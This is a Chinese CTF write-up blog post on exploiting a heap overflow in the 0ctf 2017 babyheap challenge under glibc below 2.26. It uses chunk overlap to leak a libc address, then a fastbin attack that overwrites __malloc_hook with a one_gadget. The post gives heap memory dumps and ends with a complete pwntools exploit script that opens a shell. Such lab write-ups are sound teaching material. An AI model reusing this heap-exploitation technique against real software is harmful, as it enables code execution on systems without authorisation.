欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

libc2.26以下的单一堆溢出漏洞利用——0ctf_2017_babyheap

程序员文章站 2022-07-15 15:30:10
...

前言:

此题为libc2.26以下的libc环境,在libc2.27及以上不一定行得通。

解题思路:

查看保护:

libc2.26以下的单一堆溢出漏洞利用——0ctf_2017_babyheap
保护全开的64位程序。

观察IDA伪代码:

我们进入IDA看看程序(在此之前建议先运行一遍程序,看看程序的逻辑)。
libc2.26以下的单一堆溢出漏洞利用——0ctf_2017_babyheap
标准的菜单题,题目先申请了一块堆结构来保存接下来我们要申请的堆地址,在开了保护的情况下,我们并不能很容易的找到这块堆地址在哪,这样我们就很难把堆块劫持到这个上面。
我们看看各个功能:

libc2.26以下的单一堆溢出漏洞利用——0ctf_2017_babyheap
本题采用了calloc来申请堆块,这样对于申请的堆块来说,原有的数据就会被清除掉,这样我们想利用二次申请堆块来泄露libc基址和堆基址的思路就泡汤了,本题的堆申请顺序是删除堆后申请新的堆可占用原有堆的序号。例如,删除1号堆块立马申请一个堆块,这个堆块的序号就是1号。

libc2.26以下的单一堆溢出漏洞利用——0ctf_2017_babyheap
删倒是删的很干净,全部置空了,我们就不能利用UAF了。

libc2.26以下的单一堆溢出漏洞利用——0ctf_2017_babyheap
这个题目的增加并不能在堆块中添加数据,这个步骤要到改中来实现,并且size由我们来决定,这样改中也就存在着本题最明显也是本文中要用到的一个漏洞——堆溢出漏洞。

libc2.26以下的单一堆溢出漏洞利用——0ctf_2017_babyheap
根据堆块的序号来查询堆块的内容。

思路总结:

我们已经发现了本题的一个堆溢出漏洞,我们就来思考一下如何利用这个漏洞。
我们的目的有两个:1.首先我们应该泄露出libc基址,这样我们就能利用onegadget来getshell。
2.在本题中我们很难泄露出堆基址,所以我们很难利用到保存了堆结构的堆块,并且保护中开了Full RELRO,我们就不能改写got表。这样的话,我们最容易想到的就是改写malloc_hook了,并且刚好在本题也行得通。

目的1:

我们想要泄露出libc基址,有一个很容易想到的办法就是查看已经free掉的unsortedbin中的堆块的fd和bk指针,他们指向了main_arena + 88的位置,而这个位置减去0x68就是malloc_hook的位置,我们就可以利用malloc_hook来泄露出libc基址了。
但是本题并不存在明显的UAF漏洞,我们该如何在没有被free的堆块中存储main_arena + 88的地址呢?
毫无疑问,我们要使用堆块重叠的技巧了。

new(0x60)
new(0x40)
payload = 'a' * 0x60 + p64(0) + p64(0x71)
edit(0, len(payload), payload)

首先我们申请两个堆块,都保持在fastbin的范围内,然后利用堆溢出漏洞修改1号堆块的size位为0
x71,就会达到这样的效果:

0x55d2c7ad3000:	0x0000000000000000	0x0000000000000071   #0号堆块
0x55d2c7ad3010:	0x6161616161616161	0x6161616161616161
0x55d2c7ad3020:	0x6161616161616161	0x6161616161616161
0x55d2c7ad3030:	0x6161616161616161	0x6161616161616161
0x55d2c7ad3040:	0x6161616161616161	0x6161616161616161
0x55d2c7ad3050:	0x6161616161616161	0x6161616161616161
0x55d2c7ad3060:	0x6161616161616161	0x6161616161616161
0x55d2c7ad3070:	0x0000000000000000	0x0000000000000071   #1号堆块
0x55d2c7ad3080:	0x0000000000000000	0x0000000000000000
0x55d2c7ad3090:	0x0000000000000000	0x0000000000000000
0x55d2c7ad30a0:	0x0000000000000000	0x0000000000000000
0x55d2c7ad30b0:	0x0000000000000000	0x0000000000000000
0x55d2c7ad30c0:	0x0000000000000000	0x0000000000020f41   #top

这样当我们free掉1号堆块再次申请0x60大小的堆块时,堆块的位置会在一号堆块这里,在这之前我们先在一号堆块之后申请一块unsortedbin范围大小的堆块。

new(0x100)
payload = 'a' * 0x10 + p64(0) + p64(0x71)
edit(2, 0x20, payload)
delete(1)
new(0x60)
edit(1, 0x50, 'a' * 0x40 + p64(0) + p64(0x111))
new(0x50)
delete(2)

此时我们申请一块大小为0x100的堆块,此堆块free后会存储main_arena地址,为泄露做准备。
由于再次申请0x60的堆块会把0x100的的堆头清除掉(calloc的作用),我们先伪造0x71的堆头,防止堆块申请时检测出问题。然后在申请完之后我们要把原来的堆头改写回来。这里申请一个0x50的堆块是为了防止free的堆块和top堆块合并。做好这些后我们就可以free掉2号堆块了,然后就可以看到下面的效果:

0x55601c27e000:	0x0000000000000000	0x0000000000000071   #0号堆块
0x55601c27e010:	0x6161616161616161	0x6161616161616161
0x55601c27e020:	0x6161616161616161	0x6161616161616161
0x55601c27e030:	0x6161616161616161	0x6161616161616161
0x55601c27e040:	0x6161616161616161	0x6161616161616161
0x55601c27e050:	0x6161616161616161	0x6161616161616161
0x55601c27e060:	0x6161616161616161	0x6161616161616161
0x55601c27e070:	0x0000000000000000	0x0000000000000071   #1号堆块
0x55601c27e080:	0x6161616161616161	0x6161616161616161
0x55601c27e090:	0x6161616161616161	0x6161616161616161
0x55601c27e0a0:	0x6161616161616161	0x6161616161616161
0x55601c27e0b0:	0x6161616161616161	0x6161616161616161
0x55601c27e0c0:	0x0000000000000000	0x0000000000000111  #2号堆块、1号堆块
0x55601c27e0d0:	0x00007ff38ae08b78	0x00007ff38ae08b78
0x55601c27e0e0:	0x0000000000000000	0x0000000000000071
0x55601c27e0f0:	0x0000000000000000	0x0000000000000000
0x55601c27e100:	0x0000000000000000	0x0000000000000000
0x55601c27e110:	0x0000000000000000	0x0000000000000000
0x55601c27e120:	0x0000000000000000	0x0000000000000000

此时产生的堆重叠刚好让1号堆块包含了2号堆块存储的main_arena地址,这样我们只要show一下1号堆块我们就能接受到main_arena的地址了。

目的2:

泄露出main_arena的地址就相当于把libc基址也泄露了,这样我们目的1就完成了,接下来我们就是要把堆块劫持到malloc_hook处,由于存在堆溢出,我们直接利用fastbin attack就行。
由于fastbin attack十分经典,这里就不多做解释,直接上exp。

完整exp:

#! /usr/bin/env python
from pwn import *

p = process('./0ctf_2017_babyheap')
elf = ELF('./0ctf_2017_babyheap')
libc = ELF('./libc.so.6')

def new(size):
    p.sendlineafter('Command: ', '1')
    p.sendlineafter('Size: ', str(size))

def edit(index, size, content):
    p.sendlineafter('Command: ', '2')
    p.sendlineafter('Index: ', str(index))
    p.sendlineafter('Size: ', str(size))
    p.sendlineafter('Content: ', content)

def delete(index):
    p.sendlineafter('Command: ', '3')
    p.sendlineafter('Index: ', str(index))

def show(index):
    p.sendlineafter('Command: ', '4')
    p.sendlineafter('Index: ', str(index))

new(0x60)
new(0x40)
payload = 'a' * 0x60 + p64(0) + p64(0x71)
edit(0, len(payload), payload)
new(0x100)
payload = 'a' * 0x10 + p64(0) + p64(0x71)
edit(2, 0x20, payload)
delete(1)
new(0x60)
edit(1, 0x50, 'a' * 0x40 + p64(0) + p64(0x111))
new(0x50)
delete(2)
show(1)
main_arena = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print hex(main_arena)
malloc_hook = main_arena - 0x68
libc_base = malloc_hook - libc.sym['__malloc_hook']
delete(1)
payload = 'a' * 0x60 + p64(0) + p64(0x71) + p64(malloc_hook - 0x13 - 0x10)
edit(0, len(payload), payload)
new(0x60)
new(0x60)
payload = '\x00' * 0x3 + p64(0) + p64 (0) + p64(libc_base + 0x4526a)
edit(2, len(payload), payload)
new(0x60)
p.interactive()
相关标签: 堆溢出 pwn